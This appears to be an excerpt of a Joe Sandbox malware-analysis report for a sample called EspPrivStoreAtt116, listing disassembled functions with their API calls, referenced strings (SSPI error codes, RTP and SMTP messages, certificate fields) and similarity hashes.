Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$FALSE$Public Key Algorithm$TRUE
API String ID: 2653869212-571364039
Opcode ID: 85ef8a2e2dfbfb936179137d0ee52b8a74c34417c923e49ee921cd5827ac486f
Instruction ID: 888b18eba66b35be566637706e015a3f774d4f47aa4034f02614fb0f1d9421fc
Opcode Fuzzy Hash: 85ef8a2e2dfbfb936179137d0ee52b8a74c34417c923e49ee921cd5827ac486f
Instruction Fuzzy Hash: 4E41A162A2C782C9EB11BB61D4442F9A761BB057C8FC50631CE4E1B799EF3CE146CB20

Function 00007FF747D42F50 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF747D42F6C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42F74
FormatMessageA.KERNEL32 ref: 00007FF747D42FAE
strchr.VCRUNTIME140 ref: 00007FF747D42FC3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D4300C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D43016
GetLastError.KERNEL32 ref: 00007FF747D4301E
SetLastError.KERNEL32 ref: 00007FF747D4302A

Strings

Unknown error %u (0x%08X), xrefs: 00007FF747D42FFA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchr
String ID: Unknown error %u (0x%08X)
API String ID: 1897771742-1058733786
Opcode ID: a90bddafad2764df06534b3e101ce169d681fc9f8201aec5c8a569fdeda9d07a
Instruction ID: d82b92da002721b643cb617046352034824c5f022010d2f9880c78ca292c672f
Opcode Fuzzy Hash: a90bddafad2764df06534b3e101ce169d681fc9f8201aec5c8a569fdeda9d07a
Instruction Fuzzy Hash: 32218662A6C781C2E7217F26A90522AFAD0BF55BD0FC44274DE8A13754CE3CE4428B60

Function 00007FF747D42782 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

%s (0x%08X), xrefs: 00007FF747D426A5
SEC_E_CANNOT_PACK, xrefs: 00007FF747D42782
%s - %s, xrefs: 00007FF747D42BA9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CANNOT_PACK
API String ID: 600764987-1502336670
Opcode ID: 840bd877c669b48a6a94fe034f9355eb143cb0b64956bc24ea057a86771c70ac
Instruction ID: a827ca9b713dc70dec7b46ef3ebee845090aea5b44851bc7481659dc708ea383
Opcode Fuzzy Hash: 840bd877c669b48a6a94fe034f9355eb143cb0b64956bc24ea057a86771c70ac
Instruction Fuzzy Hash: 21318262A2D7C1C5E661BF20E5113AAB7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D4278E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9
SEC_E_CERT_EXPIRED, xrefs: 00007FF747D4278E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CERT_EXPIRED
API String ID: 600764987-3862749013
Opcode ID: 8904872445799dc1951122d08534c98c99bda82e2818c7aac7f99ee106927005
Instruction ID: 37dfc3ee5cc4630ff3aff4e0241044a18ebf9dc3e6bdaa0d92fd9d471b6918d3
Opcode Fuzzy Hash: 8904872445799dc1951122d08534c98c99bda82e2818c7aac7f99ee106927005
Instruction Fuzzy Hash: 18318262A2D7C1C5E661BF20E5113AAB7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D4275E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

SEC_E_BAD_PKGID, xrefs: 00007FF747D4275E
%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BAD_PKGID
API String ID: 600764987-1052566392
Opcode ID: c63af1cd2aabe92ea6c560fb305aaf36189a3a90deb3d1dd0a1db05c7edba30e
Instruction ID: ce89277c4c312cee93a04f926109e48c648a7708e414f726aa6d52b66831186f
Opcode Fuzzy Hash: c63af1cd2aabe92ea6c560fb305aaf36189a3a90deb3d1dd0a1db05c7edba30e
Instruction Fuzzy Hash: 59318262A2D7C1C5E661BF20E5113AAB7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D4276A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

SEC_E_BUFFER_TOO_SMALL, xrefs: 00007FF747D4276A
%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BUFFER_TOO_SMALL
API String ID: 600764987-1965992168
Opcode ID: 660b00ea6d2708d63aff5c1d89183b731f15090953f73bcd8295e0b2a5769022
Instruction ID: ef6913b326a72a2eac058cf526ad8d45476c7a81fa7f324b5f9ecc3827ac7e05
Opcode Fuzzy Hash: 660b00ea6d2708d63aff5c1d89183b731f15090953f73bcd8295e0b2a5769022
Instruction Fuzzy Hash: 9A318262A2D7C1C5E661BF20E5113AAB7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D42776 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9
SEC_E_CANNOT_INSTALL, xrefs: 00007FF747D42776

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CANNOT_INSTALL
API String ID: 600764987-2628789574
Opcode ID: 1bf145a435fb618fef3f911721eddb159762ac6c7d7498e0217c3f5d397e766c
Instruction ID: 1ed22a30450f5b85af6dea506160cd77ca25c8a42b103e7dc799ff2773ab1966
Opcode Fuzzy Hash: 1bf145a435fb618fef3f911721eddb159762ac6c7d7498e0217c3f5d397e766c
Instruction Fuzzy Hash: 67318262A2D7C1C5E621BF20E5113AAB7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D42752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9
SEC_E_BAD_BINDINGS, xrefs: 00007FF747D42752

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BAD_BINDINGS
API String ID: 600764987-2710416593
Opcode ID: 014b7078a5638918f36abdcc571b31f9088153de8ebe60f2355983b34161cd2c
Instruction ID: 9d346050219f455125d49f3874185840031856d9ec1ee078b7319141a78dd39e
Opcode Fuzzy Hash: 014b7078a5638918f36abdcc571b31f9088153de8ebe60f2355983b34161cd2c
Instruction Fuzzy Hash: 02318262A2D7C1C5E661BF20E5113AAF7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D4269E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 69stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9
SEC_E_ALGORITHM_MISMATCH, xrefs: 00007FF747D4269E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_ALGORITHM_MISMATCH
API String ID: 600764987-618797061
Opcode ID: a90a319c955fa056155f22b8ab89f66d967a83091b8405e3dea220e42267a1f4
Instruction ID: 119ef49ad07de7ac4469ef1bd1e81cb433cdc29e5ee2f1ebe50618b424fd1d0f
Opcode Fuzzy Hash: a90a319c955fa056155f22b8ab89f66d967a83091b8405e3dea220e42267a1f4
Instruction Fuzzy Hash: F431836262D7C1C5EB21BF20E5113AAB7A0FB85744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D780C0 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D78318

Part of subcall function 00007FF747D56150: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,FFFFFFFF,00007FF747D61F65,?,?,00000000,00007FF747D622C5), ref: 00007FF747D56165
Part of subcall function 00007FF747D56150: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,FFFFFFFF,00007FF747D61F65,?,?,00000000,00007FF747D622C5), ref: 00007FF747D5617B

memcpy.VCRUNTIME140 ref: 00007FF747D78138
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D78289
memcpy.VCRUNTIME140 ref: 00007FF747D78352
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7835E

Strings

Got an error writing an RTP packet, xrefs: 00007FF747D7826B
Cannot pause RTP, xrefs: 00007FF747D7825C
Failed writing RTP data, xrefs: 00007FF747D78253

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$memcpy$realloc
String ID: Cannot pause RTP$Failed writing RTP data$Got an error writing an RTP packet
API String ID: 657767516-1165944077
Opcode ID: 9de94ae0787e8141cb01241ab22280e239d4ca6153fd1568bc598eaa28a65770
Instruction ID: 423a6d4174d02d564c238d38807424c5ab8ab7a570d9599cab02609b49a207b4
Opcode Fuzzy Hash: 9de94ae0787e8141cb01241ab22280e239d4ca6153fd1568bc598eaa28a65770
Instruction Fuzzy Hash: 8A719E32B1DB85D6EA54EB25E8043A9A7A4FB49B84F844231EE9D47744DF3CE462CB10

Function 00007FF747D4B280 Relevance: 15.1, APIs: 10, Instructions: 67COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,00007FF747D4ACFE,?,?,?,?,?,?,?,?,?,?,00000000,00007FF747D519C9), ref: 00007FF747D4B2A3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B2F9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B303
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B30D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B317
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B321
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B32B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B335
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B33F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4B348

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_time64
String ID:
API String ID: 3087401894-0
Opcode ID: 794ec81e754e4059ed5435738d62d671d13dfc205665a64c9ad2aac622e1363a
Instruction ID: 61de43dc9e75058bdc974f3064f71225a0785536e7445ca9c62206f88dcf1cc6
Opcode Fuzzy Hash: 794ec81e754e4059ed5435738d62d671d13dfc205665a64c9ad2aac622e1363a
Instruction Fuzzy Hash: 7C21FB36A6DA41C1EB20BF62E844229A370FB58FC4F584531DE9E13758DE3CE446CB64

Function 00007FF747D37409 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

invalid number; expected digit after '.', xrefs: 00007FF747D377A7
invalid number; expected '+', '-', or digit after exponent, xrefs: 00007FF747D37957

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: invalid number; expected '+', '-', or digit after exponent$invalid number; expected digit after '.'
API String ID: 0-808606891
Opcode ID: 458a01d5bfcce189351ee8b925d4386c51c3ca0d126a416866c77a1180e90565
Instruction ID: bf629ce149af07a2ea89591ddf0ed8e9e9e51402c6b893749b67f85501722138
Opcode Fuzzy Hash: 458a01d5bfcce189351ee8b925d4386c51c3ca0d126a416866c77a1180e90565
Instruction Fuzzy Hash: 6FB14F6291CA41C6E764AF28D48027CB775FB15B68FE44736C65E022D8DF3CE986CB60

Function 00007FF747D54900 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 142stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D549DC
strchr.VCRUNTIME140 ref: 00007FF747D54A10
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D54A30
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D54AB4

Strings

Connecting to hostname: %s, xrefs: 00007FF747D54A8B
anonymous, xrefs: 00007FF747D54910
%s%s%s, xrefs: 00007FF747D5499F
Connecting to port: %d, xrefs: 00007FF747D54AD0

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$strchrstrtol
String ID: %s%s%s$Connecting to hostname: %s$Connecting to port: %d$anonymous
API String ID: 137861075-1224060940
Opcode ID: d78e3ff692bd5202c6bbaa1cddfaf308f6c3017d1e039b30db1cab326158a513
Instruction ID: 510b328a451ca504f5fd8b9cdd08b71af4d8a218f88faa5f112fdd3934ba1d23
Opcode Fuzzy Hash: d78e3ff692bd5202c6bbaa1cddfaf308f6c3017d1e039b30db1cab326158a513
Instruction Fuzzy Hash: 9251C262A1CA92C6EB71BF11A4003A9AB90FB41BD8FC54235DE9D07799CF3CD102CB61

Function 00007FF747D70FB0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 135stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7106F
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D710B4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D71170

Strings

EXPN, xrefs: 00007FF747D70FF7
HELP, xrefs: 00007FF747D711A5
%s %s%s, xrefs: 00007FF747D71039
VRFY %s%s%s%s, xrefs: 00007FF747D7113E
SMTPUTF8, xrefs: 00007FF747D7101D, 00007FF747D71125

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfreestrpbrk
String ID: SMTPUTF8$%s %s%s$EXPN$HELP$VRFY %s%s%s%s
API String ID: 1812939018-2300960079
Opcode ID: ee9c7fb4e66f63f348d74e1a4e5acb793a6270c316ecf6ef76d56138e9452937
Instruction ID: 3840b4b60e573d92128327b4b5126c7816ef3b79d3b0d9023ef1c8bbd8317765
Opcode Fuzzy Hash: ee9c7fb4e66f63f348d74e1a4e5acb793a6270c316ecf6ef76d56138e9452937
Instruction Fuzzy Hash: 8E51B662A2CB81C1EB11BB15E410779A7A1BB8AB84FC44331DA4D1B795DF2DD446CB20

Function 00007FF747D873AC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D873D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

FALSE, xrefs: 00007FF747D873C8
Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

